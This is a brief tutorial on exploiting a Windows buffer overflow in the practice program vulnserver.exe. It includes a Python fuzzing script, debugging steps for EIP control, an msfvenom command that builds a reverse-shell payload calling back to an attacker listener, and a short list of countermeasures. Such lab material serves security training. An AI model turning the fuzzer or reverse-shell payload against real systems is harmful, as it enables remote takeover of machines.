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# Windows-Based Buffer Overflow Attack

## Overview

This document details the exploitation of a **vulnerable Windows executable**.\
We use a **fuzzing script**, analyze crashes, and inject **shellcode**.

***

## 1. Setting Up a Vulnerable Windows Application

We target **vulnserver.exe**, an intentionally vulnerable program for exploitation practice.\
Download from: <https://github.com/stephenbradshaw/vulnserver>

* Run `vulnserver.exe` on a **Windows VM**.
* Attach **Immunity Debugger** to monitor crashes.

***

## 2. Fuzzing with Python (`fuzz.py`)

```python
import socket

target_ip = "192.168.1.100"  # Replace with your Windows VM's IP
target_port = 9999

buffer = b"A" * 1000  # Adjust length

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(buffer)
s.close()

print("Sent fuzzing payload.")
```

Run it:

```bash
python3 fuzz.py
```

***

## 3. Debugging the Crash

* Attach **Immunity Debugger**.
* Identify **EIP control** (modify execution flow).
* Inject **custom shellcode** (e.g., reverse shell).

***

## 4. Exploit Development

Once EIP overwrite is confirmed, generate shellcode using **msfvenom**:

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.200 LPORT=4444 -b "\x00\x0A" -f python
```

Modify exploit to inject shellcode and take control of execution.

***

## 5. Countermeasures

* **Use DEP (Data Execution Prevention)**.
* **Implement ASLR (Address Space Layout Randomization)**.
* **Use stack canaries to detect buffer overflows**.